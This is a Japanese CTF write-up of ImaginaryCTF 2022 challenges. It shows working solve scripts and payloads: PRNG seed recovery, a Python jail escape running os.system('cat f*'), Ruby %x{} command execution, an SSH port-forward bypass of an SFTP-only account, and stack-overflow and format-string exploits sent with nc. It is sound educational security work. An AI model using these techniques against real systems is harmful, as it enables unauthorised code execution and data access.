sage: c = 'ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c97173
....: 6e8fe8ec88e8695'
sage: len_c = len(c)
sage: c = int(c, 16)
sage:
sage: b = var('b')
sage: for p in ps:
....:         b = (b * (3 ** p) + p)
....:
sage: solve_mod([b == c], 16 ** len_c)
[(84223073562938964680489890628277554864538330346056210282579736883735525871971980058788489922172160955085103123572927366665832261088432475325086130813,)]
sage: hex(84223073562938964680489890628277554864538330346056210282579736883735525871971980058788489922172160955085103123
....: 572927366665832261088432475325086130813)
'0x696374667b77656c636f6d655f746f5f7468655f666c61675f61745f7468655f656e645f6f665f7468655f756e697665727365215f38373632613961627d'

フラグが得られた。

ictf{welcome_to_the_flag_at_the_end_of_the_universe!_8762a9ab}

久々にヨルムンガンドが見たくなった。

[Reversing 486] The House Always Wins (13 solves)

x86_64のELFが与えられる。以下の出力を見るとわかるように、カジノで100ドルを元手にビリオネアに成り上がれたら勝ち。2枚カードが引かれるのだけれども、2枚目が引かれる際に1枚目よりその数値が大きいか小さいかを当てられればお金が増える。乱数を当てる系だなあと察する。

$ ./casino
You start with $100. Get 1 billion dollars, and we'll give you the flag.
Run out of money, and we kick you out of the casino.

Are you feeling lucky?

Current money: 100
How much are you betting? (minimum bet $5)
>>> 5
The first number is 11468.

Odds of higher: 82.50   Payout of higher: 6
Odds of lower:  17.50   Payout of lower:  28

Do you think the next number will be:
1) Higher
2) Lower

Remember, the house wins ties!
>>> 1
The second number is 59133!
Congrats! You won 6 dollars!

Current money: 101
How much are you betting? (minimum bet $5)

IDA Freewareのデコンパイラに投げる。main は次のようになっている。乱数の生成は2枚のカードを引くタイミングで行われているのだけれども、ここで rand を呼び出さず、独自の関数である get_rand を呼び出している。どんな方法で乱数を生成しているのだろうか。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3[59]; // [rsp+0h] [rbp-70h] BYREF
  char v4; // [rsp+3Bh] [rbp-35h] BYREF
  unsigned int v5; // [rsp+3Ch] [rbp-34h] BYREF
  FILE *v6; // [rsp+40h] [rbp-30h]
  int v7; // [rsp+4Ch] [rbp-24h]
  unsigned int v8; // [rsp+50h] [rbp-20h]
  unsigned int v9; // [rsp+54h] [rbp-1Ch]
  float v10; // [rsp+58h] [rbp-18h]
  float v11; // [rsp+5Ch] [rbp-14h]
  int rand; // [rsp+60h] [rbp-10h]
  unsigned int v13; // [rsp+64h] [rbp-Ch]
  int v14; // [rsp+68h] [rbp-8h]
  unsigned int v15; // [rsp+6Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("You start with $100. Get 1 billion dollars, and we'll give you the flag.");
  puts("Run out of money, and we kick you out of the casino.\n");
  puts("Are you feeling lucky?\n");
  v15 = 100;
  while ( 1 )
  {
    rand = get_rand();
    printf("Current money: %u\n", v15);
    if ( v15 > 0x3B9ACA00 )
      break;
    puts("How much are you betting? (minimum bet $5)");
    printf(">>> ");
    __isoc99_scanf("%u%c", &v5, &dead);
    if ( v5 <= 4 || v15 < v5 )
    {
      puts("You can't bet that!");
      puts("Get out of here, and come back with some real money!");
      exit(1);
    }
    v15 -= v5;
    printf("The first number is %d.\n\n", (unsigned int)rand);
    v11 = (float)((float)rand + 1.0) / 65536.0;
    v10 = 1.0 - v11;
    v9 = (int)((double)(int)v5 * 0.99 / v11);
    v8 = (int)((double)(int)v5 * 0.99 / (float)(1.0 - v11));
    printf(
      "Odds of higher: %.2f\tPayout of higher: %u\n",
      (float)(100.0 * v10),
      (unsigned int)(int)((double)(int)v5 * 0.99 / v10));
    printf("Odds of lower:  %.2f\tPayout of lower:  %u\n\n", (float)(100.0 * v11), v9);
    puts("Do you think the next number will be:");
    puts("1) Higher");
    puts("2) Lower\n");
    puts("Remember, the house wins ties!");
    printf(">>> ");
    __isoc99_scanf("%c%c", &v4, &dead);
    v7 = get_rand();
    v14 = 0;
    v13 = 0;
    printf("The second number is %d!\n", (unsigned int)v7);
    if ( v4 == 49 && rand < v7 )
    {
      v14 = 1;
      v13 = v8;
    }
    else if ( v4 == 50 && rand > v7 )
    {
      v14 = 1;
      v13 = v9;
    }
    if ( v14 )
    {
      printf("Congrats! You won %u dollars!\n\n", v13);
      v15 += v13;
    }
    else
    {
      puts("You lost... Better luck next time!\n");
    }
  }
  v6 = fopen("./flag.txt", "r");
  __isoc99_fscanf(v6, "%s", v3);
  printf("How'd you beat the house? %s\n", v3);
  exit(0);
}

get_rand を見てみる。初回の呼び出しであれば初期化処理をし、そうでなければ一度 rand を呼んで捨ててから、再び rand を呼んでその一部を返り値としているようだ。

この初期化処理が厄介で、まずシードの生成に /dev/urandom が使われているために推測が難しい。そこで /dev/urandom を使うならなぜ rand を使うのか。srand でPRNGの初期化をした後に、rand() >> 15rand を実行してその結果を捨てている。出力からPRNGのステートを推測するのを防ぐためだろうか。とにかく、この初期化処理が面倒だ。

__int64 get_rand()
{
  FILE *stream; // [rsp+8h] [rbp-18h]
  int j; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  rand();
  if ( !init )
  {
    init = 1;
    seed = 0;
    stream = fopen("/dev/urandom", "r");
    for ( i = 0; i <= 7; ++i )
    {
      seed += fgetc(stream);
      if ( i != 7 )
        seed <<= 8;
    }
    fclose(stream);
    srand(seed);
    for ( j = 0; j < rand() >> 15; ++j )
      rand();
  }
  return (unsigned int)(rand() >> 15);
}

ではどうするかというと、srand の引数が最大で 0xffffffff と少なめであることを利用して、get_rand の出力をいくつか与えると、それに対応するシードが得られるようなテーブルをあらかじめ作っておく。さすがに4294967296通りも作っていたらテーブルのファイルサイズも生成時間もアレなので、その256分の1の16777216通りだけ作ることにする。500回も試せば1回は当たるでしょ。

テーブルを作るコードが以下。テーブルは 43352 59136 39130 40554 :2; みたいな感じで get_rand の出力4つの後に :、それから対応するシード、それから ; というようなフォーマットになっている。これが16777216個続く。

// db.c
#include <stdio.h>
#include <stdlib.h>

unsigned int get_rand(int init, int seed) {
    unsigned int i;
    
    rand();
    if (init) {
        srand(seed);
        for (i = 0; i < (rand() >> 15); i++) {
            rand();
        }
    }
    return (unsigned int)(rand() >> 15);
}

int main(void) {
    unsigned int i, j, r;
    char buf[40 * 0x1000] = "";

    FILE *fp = fopen("dict", "wb");

    for (i = 0; i < 0x1000000; i++) {
        if (i % 0x10000 == 0) {
            printf("%d\n", i);
        }

        if (i % 0x1000 == 0) {
            fwrite(buf, sizeof(char), strlen(buf), fp);
            memset(buf, 0, sizeof(buf));
        }

        r = get_rand(1, i);
        sprintf(buf, "%s%d ", buf, r);

        for (j = 1; j < 4; j++) {
            r = get_rand(0, 0);
            sprintf(buf, "%s%d ", buf, r);
        }

        sprintf(buf, "%s:%d;", buf, i);
    }

    fclose(fp);

    return 0;
}

ついでに、シードを与えると get_rand の返り値を1000個出力してくれるコードも書いておく。

#include <stdio.h>
#include <stdlib.h>

unsigned int get_rand(int init, int seed) {
    unsigned int i;
    
    rand();
    if (init) {
        srand(seed);
        for (i = 0; i < (rand() >> 15); i++) {
            rand();
        }
    }
    return (unsigned int)(rand() >> 15);
}

int main(int argc, char **argv) {
    unsigned int i;

    printf("%d ", get_rand(1, atoi(argv[1])));
    for (int i = 0; i < 1000; i++) {
        printf("%d ", get_rand(0, 0));
    }

    return 0;
}

あとは実装するだけ。

import subprocess
from pwn import *
context.log_level = 'DEBUG'

def get_rands(seed):
    r = subprocess.check_output(f'./get {seed}', shell=True)
    print(r)
    return [int(x) for x in r.split()]

with open('dict', 'rb') as f:
    d = f.read()

def init():
    #s = process('./casino')
    s = remote('the-house-always-wins.chal.imaginaryctf.org', 1337)
    h = []

    for _ in range(2):
        s.recvuntil(b'Current money: ')
        current_money = int(s.recvline())
        s.recvuntil(b'>>> ')
        s.sendline(b'5')

        # first number
        s.recvuntil(b'The first number is')
        first_number = int(s.recvuntil(b'.')[:-1])
        h.append(first_number)

        s.recvuntil(b'>>> ')
        s.sendline(b'1')

        # second number
        s.recvuntil(b'The second number is')
        second_number = int(s.recvuntil(b'!')[:-1])
        h.append(second_number)

    return s, h

for i in range(1000):
    s, h = init()
    t = ''.join(str(x) + ' ' for x in h) + ':'
    
    print(i, t)
    j = d.find(t.encode())
    if j == -1:
        s.close()
        continue

    j = d.index(b':', j)
    k = d.index(b';', j)

    seed = int(d[j+1:k])
    print(f'{seed}')
    rands = get_rands(seed)[4:]
    print(rands)

    break

rands = iter(rands)

while True:
    s.recvuntil(b'Current money: ')
    current_money = int(s.recvline())
    s.recvuntil(b'>>> ')
    s.sendline(str(current_money).encode())

    first, second = next(rands), next(rands)

    s.recvuntil(b'>>> ')
    if first < second:
        s.sendline(b'1')
    else:
        s.sendline(b'2')

実行するとフラグが得られた。

$ python3 solve.py
…
[DEBUG] Received 0x5d bytes:
    b'The second number is 53591!\n'
    b'Congrats! You won 1053511168 dollars!\n'
    b'\n'
    b'Current money: 1053511168\n'
[DEBUG] Received 0x72 bytes:
    b"How'd you beat the house? ictf{if_the_house_isn't_using_cryptographically_secure_PRNG_the_house_deserves_to_lose}\n"
ictf{if_the_house_isn't_using_cryptographically_secure_PRNG_the_house_deserves_to_lose}

[Reversing 488] xobeert (12 solves)

以下のようなPythonのASTが与えられる。

ast.dump で出力されたものだろう。ast.unparse という便利な関数があるので、これで元のコードを手に入れる。

from ast import *
s = open('boxast.txt').read()
unparse(eval(eval(s.replace('Assign(','Assign(lineno=1,'))))

実行すると、デコレータで楽しい感じになっているPythonコードが出力された。実行してみると、これは入力した文字列がフラグであるかどうか確認してくれるらしいとわかった。

fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: 0
fffffffffffffffff = lambda f: 1
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: []
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda a: lambda b: a + b

@ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
@fffffffffffffffff
class fffffffffffffffffffff:
    pass
fffffffffffffff = lambda ffffffffffffffffffffffffffffffffffffffffffffffff: lambda stack: [ffffffffffffffffffffffffffffffffffffffffffffffff] + stack
pop = lambda stack: stack[1:]
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] + stack[0]] + stack[2:]
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] - stack[0]] + stack[2:]
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] ** stack[0]] + stack[2:]
ffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] * stack[0]] + stack[2:]
fffffffffff = lambda stack: stack[0]

@fffffffffffffff
@fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
class fffffffffffffff0:
    pass

@fffffffffffffff
@fffffffffffffffffffff
@fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
class ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff:
    pass

print(locals()) を最後に仕込んで実行する。fffffffffffffffffffffffffffffffffffffffffffff という変数になにやら怪しい配列がある。

$ python3 a.py
…
'fffffffffffffffffffffffffffffffffffffffffffff': [123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
…

どこで参照されているか確認してみると、以下のような処理が見つかった。最後に wrongcorrect のどちらを出力するかは、fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff が一致しているかによるようだ。最後にこの2つの変数を出力するように変更する。

@fffffffffffffffffffffffffffffffffffffffffffff
class fffffffffffffffffffffffffffffffffffffffffffff:
    pass
ffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: lambda ffffffffffffffffffffffffffffffffffffffffffffffff: [wrong, correct][ffffffffffffffffffffffffffffffffffffffffffffffff == fffffffffffffffffffffffffffffffffffffffffffff]

変更後のコードを実行してみる。なるほど、1バイトずつ何らかの形で変換されているようだ。

$ python a.py
flag? aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[115, 248, 75, 88, 99, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 153]
[123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
Wrong!
$ python a.py
flag? ictf{aaaaaaaaaaaaaaaaaaaaaaa}
[123, 250, 94, 95, 121, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 133]
[123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
Wrong!

XORを試してみたところ、いけた。

from pwn import *
a = [115, 248, 75, 88, 99, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 153]
print(bytes(xor(a, b'a', [123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133])))
$ python3 solve.py
b'ictf{wh0_n33d5_c4ll5_4nyw4y?}'
ictf{wh0_n33d5_c4ll5_4nyw4y?}

[Misc 100] Sanity Check (617 solves)

Description
Welcome to ImaginaryCTF 2022! All flags are written in flag format ictf{s0m3_1337_f1ag} unless otherwise stated. Have fun and enjoy the challenges!

Attachments
ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

[Misc 100] Discord (538 solves)

Join our Discord community for updates and support! If you would like to do some more CTF after this competition, we do host daily CTF challenges on our Discord server as well. Join at https://discord.gg/ctf . You can find the flag for this challenge in the #imaginaryctf-2022 channel .

Discordサーバに入って指定されたチャンネルを見ると、フラグがあった。

ictf{stay_tuned_after_the_ctf_for_daily_ctf_challenges!}

[Misc 100] Sponsors (533 solves)

The ImaginaryCTF team would like to thank DigitalOcean, Google Cloud, and Trail of Bits for sponsoring this CTF!

Learn more about our sponsors at the links below:

One of them might contain a flag... 👀

DigitalOceanだけ特別に用意された感があって怪しい。動画を見ていると最後の方でフラグが表示された。

ictf{digitalocean_r0cks!}

[Misc 100] pyprison (180 solves)

以下のようなPythonのコードと、問題サーバへの接続情報が与えられる。

#!/usr/bin/env python3

while True:
  a = input(">>> ")
  assert all(n in "()abcdefghijklmnopqrstuvwxyz" for n in a)
  exec(a)

eval(input()) でバイパスできる。

$ nc pyprison.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
>>> eval(input())
__import__('os').system('ls')
chal
flag.txt
>>> eval(input())
__import__('os').system('cat f*')    
ictf{pyprison_more_like_python_as_a_service_12b19a09}
ictf{pyprison_more_like_python_as_a_service_12b19a09}

[Misc 100] neoannophobia (129 solves)

以下のようなルールのゲームに勝てという問題。お互い日付を言っていくのだけれども、それは相手の言った日付以降で、かつ同じ月か同じ日でなければならない。相手の言った日付が1月25日であれば、1月26日以降もしくは2月以降の25日が選択肢になる。我々は常に後攻。

$ nc neoannophobia.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to neoannophobia, where we are so scared of New Year's that we race to New Year's eve!

In this game, two players take turns saying days of the year ("January 30", "July 5", etc)

The first player may start with any day in the month of January, and on each turn a player may say another date that either has the same month or the same day as the previous date. You can also only progress forward in time, never backwards.

For example, this is a valid series of moves:

Player 1: January 1
Player 2: February 1
Player 1: February 9
Player 2: July 9
Player 1: July 14
Player 2: July 30
Player 1: December 30
Player 2: December 31

This is an illegal set of moves:

Player 1: January 1
Player 2: July 29 (not same day or month)
Player 1: July 1 (going backwards in time)

The objective of the game is simple: be the first player to say December 31.

The computer will choose its own moves, and will always go first. To get the flag, you must win against the computer 100 times in a row.    

Ready? You may begin.

必勝法はないかな~と "same month or the same day" game みたいなキーワードで検索してみたところ、それっぽい記事が見つかった。"day = month + 19" になるような日付を答えればよいらしい。

雑にスクリプトを書く。

from pwn import *
a = '''January
February
March
April
May
June
July
August
September
October
November
December'''.splitlines()
b = list(range(20, 32))

# https://mindyourdecisions.com/blog/2016/08/21/the-race-to-december-31-sunday-puzzle/
def solve(m, d):
    rd = b[m - 1]
    if d < rd:
        return m, rd
    return b.index(d) + 1, d

s = remote('neoannophobia.chal.imaginaryctf.org', 1337)

for _ in range(100):
    print(s.recvuntil(b'----------\n'))
    print(s.recvuntil(b'----------\n'))
    while True:
        day = s.recvline().strip().decode()
        print('[day]', day)
        m, d = day.split()
        m, d = a.index(m) + 1, int(d)

        ans_m, ans_d = solve(m, d)
        ans_m = a[ans_m - 1]

        ans = f'{ans_m} {ans_d}'
        print('[ans]', ans)
        s.sendline(ans)

        s.recvuntil('> ')
        if ans == 'December 31':
            break

s.interactive()

実行するとフラグが得られた。

$ python3 solve.py
…
b'You won!\n----------\n'
b'ROUND 100\n----------\n'
[day] January 28
[ans] September 28
[day] September 30
[ans] November 30
[day] November 31
[ans] December 31
[*] Switching to interactive mode
You won!
ictf{br0ken_game_smh_8b1f014a}

[*] Got EOF while reading in interactive
$  
ictf{br0ken_game_smh_8b1f014a}

[Misc 402] sequel_sequel (35 solves)

ethan というユーザでログインできる問題サーバへのSSHの接続情報が与えられる。が、与えられたコマンドをそのまま実行して、SSHで接続しようとしてもSFTPで接続しろと怒られてしまう。

$ ssh ethan@chal.imaginaryctf.org -p 42022
ethan@chal.imaginaryctf.org's password: 
This service allows sftp connections only.
Connection to chal.imaginaryctf.org closed.

SFTPで接続すると、以下のようなSQLファイルと sshd_config がダウンロードできた。ForceCommand internal-sftp という sshd_config の設定があるために、先程は怒られてしまったようだ。SQLの方を読んでみると、このサーバで動いているMySQLにログインし、ictf.ictf というテーブルのデータが抽出できれば勝ちであるように思える。

CREATE USER 'ethan'@'127.0.0.1' IDENTIFIED BY 'p4ssw0rd10';
CREATE DATABASE ictf;
USE ictf;
CREATE TABLE ictf (flag varchar(255));
INSERT INTO ictf (flag) VALUES ('ictf{REDACTED}');
GRANT SELECT ON ictf.ictf TO 'ethan'@'127.0.0.1'
PermitRootLogin no
PasswordAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes
PrintMotd no
Subsystem sftp internal-sftp
AllowUsers ethan
Match user ethan
     ChrootDirectory /ftp
     X11Forwarding no
     ForceCommand internal-sftp

ssh コマンドに -N オプションを付与すれば、リモートでは(internal-sftp を含め)コマンドが実行されなくなる。 sshpass -p p4ssw0rd10 ssh ethan@chal.imaginaryctf.org -p 42022 -N -L 54321:127.0.0.1:3306MySQLサーバに向けたポートフォワーディングをしてみよう。

そのままMySQLサーバへのログインを試みると、成功した。ictf.ictf テーブルからフラグが得られた。

$ mysql -u ethan -h 127.0.0.1 -P 54321 -D ictf -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.7.38 MySQL Community Server (GPL)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select flag from ictf;
+----------------------------------------------+
| flag                                         |
+----------------------------------------------+
| ictf{ssH_p0rt_f0rw4rding_1s_uSeful_0eb24f93} |
+----------------------------------------------+
1 row in set (0.15 sec)
ictf{ssH_p0rt_f0rw4rding_1s_uSeful_0eb24f93}

[Misc 486] pokemon emerald (13 solves)

以下のようなRubyのコードが与えられる。要は、好きなコードを実行できるが、そのコードは %01234_abcfjnrtuxy{} という文字種しか使ってはいけないという感じ。

#!/usr/bin/env -S stdbuf -o0 -i0 ruby
code = gets.strip
code.each_char do |c|
  unless "jctf{any%_2uby_3xtr4ct10n}".include? c
    puts "NO!"
    exit
  end
end
puts eval(code)

Rubyでは %!hoge! みたいにして文字列が作れたはずという記憶がうっすらとあったが、ドキュメントを確認するともっと色々なことができるとわかった。これは%記法というものだが、どうやら %x{ls} のような形でOSコマンドの実行までできてしまうらしい。

どんなOSコマンドが実行できるか、01234_abcfjnrtuxy という文字種しか使っていないものを考える。… ruby だ!

以下のように、まず %x{ruby} を送ってRubyを起動させ、好きなコードを送った後に \4 (EOF)を入力することでRCEに持ち込めた。puts `cat f*` でフラグが得られた。

from pwn import *
s = remote('pokemon-emerald.chal.imaginaryctf.org', 1337)
s.sendline(b'%x{ruby}')
s.sendline(b'puts `cat f*`')
s.send(b'\4')
s.send(b'\n')
print(s.recv())
print(s.recv())
$ python3 solve.py 
[+] Opening connection to pokemon-emerald.chal.imaginaryctf.org on port 1337: Done
b'== proof-of-work: disabled ==\n'
b'ictf{1t3m_duplic4t10n_t0_4rb1trary_c0d3_$p33drun}\n'
[*] Closed connection to pokemon-emerald.chal.imaginaryctf.org port 1337
ictf{1t3m_duplic4t10n_t0_4rb1trary_c0d3_$p33drun}

[Pwn 100] ret2win (266 solves)

Cのコードとそれをコンパイルしたバイナリ、問題サーバへの接続情報が与えられる。Cのコードは以下のような感じ。gets(buf) と、明らかにスタックバッファオーバーフローがある。

#include <stdio.h>
#include <stdlib.h>

int win() {
  FILE *fp;
  char flag[255];
  fp = fopen("flag.txt", "r");
  fgets(flag, 255, fp);
  puts(flag);
}

char **return_address;

int main() {
  char buf[16];
  return_address = buf+24;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  puts("Welcome to ret2win!");
  puts("Right now I'm going to read in input.");
  puts("Can you overwrite the return address?");

  gets(buf);

  printf("Returning to %p...\n", *return_address);
}

gdbwin のアドレスをチェックしておいて、スタックバッファオーバーフローでリターンアドレスを win に書き換える。これでフラグが得られた。

$ gdb -q -n -ex "p win" -batch ./vuln
$1 = {<text variable, no debug info>} 0x4011d6 <win>
$ (echo -en "AAAAAAAAAAAAAAAABBBBBBBB\xd6\x11\x40\x00\x00\x00\x00\x00"; echo hoge) | nc ret2win.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to ret2win!
Right now I'm going to read in input.
Can you overwrite the return address?
Returning to 0x4011d6...
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}

[Pwn 100] bof (190 solves)

Cのコードとそれをコンパイルしたバイナリ、問題サーバへの接続情報が与えられる。Cのコードは次のような感じ。char buf[64]int check というメンバを持つ構造体があるので、bufバッファオーバーフローをさせればフラグが得られる。buf には sprintf でユーザ入力から文字列がコピーされてくるが(Format String Bugだ!)、fgets(temp, 5, stdin); と5文字までしか入力できない。

#include <stdio.h>
#include <stdlib.h>

struct string {
  char buf[64];
  int check;
};

char temp[1337];


int main() {
  struct string str;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  str.check = 0xdeadbeef;
  puts("Enter your string into my buffer:");
  fgets(temp, 5, stdin);
  sprintf(str.buf, temp);

  if (str.check != 0xdeadbeef) {
    system("cat flag.txt");
  }
}

FSBがあるので、フィールド幅でなんとかしよう。%99d でフラグが得られた。

$ echo '%99d' | nc bof.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Enter your string into my buffer:
ictf{form4t_strings_4re_c00l_051c94e1}
ictf{form4t_strings_4re_c00l_051c94e1}

[Crypto 100] emojis (316 solves)

以下のようなテキストファイルが与えられる。👎が0、👍が1になる2進数かな。CyberChefで頑張るとフラグが得られた。

👎👍👍👎👍👎👎👍👎👍👍👎👎👎👍👍👎👍👍👍👎👍👎👎👎👍👍👎👎👍👍👎👎👍👍👍👍👎👍👍👎👍👍👎👎👍👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👎👍👍👎👎👍👍👎👎👎👎👎👍👍👎👎👍👎👎👎👍👍👎👍👎👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👍👍👍👎👍👎👍👍👍👍👍👎👍👍👎👍👎👎👍👎👍👍👍👎👎👍👍👎👍👎👍👍👍👍👍👎👍👍👎👍👍👍👎👎👎👍👍👎👎👎👎👎👍👍👍👎👍👎👎👎👍👎👍👍👍👍👍👎👍👍👎👎👍👎👍👎👍👍👎👍👍👍👎👎👍👍👎👎👎👍👍👎👍👍👍👎👎👍👎👎👍👍👍👍👎👎👍👎👍👍👍👎👎👎👎👎👍👍👍👎👍👎👎👎👍👍👎👍👎👎👍👎👎👍👍👎👎👎👎👎👍👍👎👍👍👍👎👎👍👎👍👍👍👍👍👎👎👍👍👎👎👎👍👎👍👍👎👎👎👍👎👎👎👍👍👎👎👍👎👎👍👍👎👎👍👎👍👎👎👍👍👎👎👎👎👎👍👍👎👎👍👎👎👎👎👍👍👎👍👎👎👎👎👍👍👎👎👍👍👎👍👍👍👍👍👎👍
ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43}

[Crypto 100] smoll (226 solves)

RSA問で、以下のようなパラメータが与えられる。FactorDBに載っていた

n = 13499674168194561466922316170242276798504319181439855249990301432638272860625833163910240845751072537454409673251895471438416265237739552031051231793428184850123919306354002012853393046964765903473183152496753902632017353507140401241943223024609065186313736615344552390240803401818454235028841174032276853980750514304794215328089
e = 65537
ct = 12788784649128212003443801911238808677531529190358823987334139319133754409389076097878414688640165839022887582926546173865855012998136944892452542475239921395969959310532820340139252675765294080402729272319702232876148895288145134547288146650876233255475567026292174825779608187676620580631055656699361300542021447857973327523254
ictf{wh4t_1f_w3_sh4r3d_0ur_l4rge$t_fact0r_jk_unl3ss??}

[Crypto 100] Secure Encoding: Hex (195 solves)

以下のようなPythonコードと、これによってフラグを暗号化した暗号文が与えられる。文字列をhexエンコードし、0123456789abcdef の各文字をシャッフルしてくれるらしい。

#!/usr/bin/env python3

from random import shuffle

charset = '0123456789abcdef'
shuffled = [i for i in charset]
shuffle(shuffled)

d = {charset[i]:v for(i,v)in enumerate(shuffled)}

pt = open("flag.txt").read()
assert all(ord(i)<128 for i in pt)

ct = ''.join(d[i] for i in pt.encode().hex())
f = open('out.txt', 'w')
f.write(ct)

暗号文は以下のような感じ。ictf{} というフラグフォーマットから 0, 1, 6, 8, b, d はそれぞれ 6, 7, d, 4, 3, 9 に対応していると確定する。

0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116

JavaScriptを使って、ここまででわかっている文字を元に戻してhexデコードしてみる。問題文によればフラグは "readable English" だそうなので、それっぽい英文になればよい。

??c?di?gencoding、その前後は _ だろうか。これで cf5f0c07656e に対応するとわかる。

// i c t f { m i ? i t ? ? y ? g ? ? d ? ? ? ? c ? d i ? g ? f t w }
//696374667b6d696?69746?7?79??677?6?646???6?6?636?64696?67??6674777d
 '0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116'.replaceAll(/./g, m => ({
  '0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd',
  '2': '?', '3': '?', '4': '?', '5': '?', '7': '?', 'a': '?', 'c': '?',
  'f': '?', '9': '?'
}[m]))

変更を適用すると次のようになる。mi?it??py g??de はmilitary gradeだろう。

// i c t f { m i ? i t ? ? y _ g ? ? d e _ e n c o d i n g _ f t w }
//696374667b6d696?69746?7?795f677?6?64655f656e636f64696e675f6674777d
 '0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116'.replaceAll(/./g, m => ({
  '0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd',
  '2': '?', '3': '?', '4': '?', '5': '?', '7': 'e', 'a': '?', 'c': '5',
  'f': 'f', '9': '?'
}[m]))
ictf{military_grade_encoding_ftw}

[Crypto 100] huge (137 solves)

RSA問。以下のようなPythonのコードとパラメータが与えられる。primes = [getPrime(10) for _ in range(200)] ということでmulti-prime RSAらしい。

from Crypto.Util.number import bytes_to_long, getPrime
from random import randint

flag = open("flag.txt", "rb").read()

def get_megaprime():
  primes = [getPrime(10) for _ in range(200)]
  out = 1
  for n in range(100):
    if randint(0,1) == 0:
      out *= primes[n]
  return out

p = get_megaprime()
q = get_megaprime()
n = p*q
e = 65537
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f"{n = }")
print(f"{e = }")
print(f"{c = }")

primefac にでも投げれば n素因数分解できる。

$ python3 -m primefac 257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591
257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591: 521 521 541 563 569 569 571 577 577 587 587 599 601 601 601 607 613 617 617 617 619 619 631 647 647 647 659 659 659 661 673 673 677 677 677 683 691 691 691 691 701 701 701 701 709 709 719 739 743 761 769 769 797 797 797 797 797 797 809 809 809 809 811 821 827 827 827 827 829 839 839 853 857 859 859 863 863 877 877 881 883 887 911 919 937 937 947 947 947 947 947 967 967 971 977 977 983 991 991 991 997 1013 1009 1019 1019 1021 1019 1009 1009

